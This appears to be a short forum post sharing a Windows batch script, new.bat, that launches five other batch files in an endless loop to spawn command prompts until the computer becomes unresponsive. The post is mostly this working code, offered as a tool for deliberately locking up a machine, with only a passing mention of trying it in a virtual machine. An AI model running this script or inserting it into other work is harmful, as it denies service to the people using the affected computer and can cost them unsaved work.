This is just a small batch file/s I made a while ago to "lock up" the computer. Download & extract to admin's desktop folder, then run new.bat to spawn many command prompts and scroll 0's, until the system becomes unresponsive. Why you want to purposefully do this is up to you. Try this in a virtual machine if you want to. new.bat Code: Select All @ECHO OFF PATH %PATH%;C:\Users\Administrator\Desktop\New folder\ :START START new_2.bat && START new_3.bat && START new_4.bat START new_5.bat && START new_6.bat GOTO START PAUSE new2 - new6 .bat are the different patterns of 0's
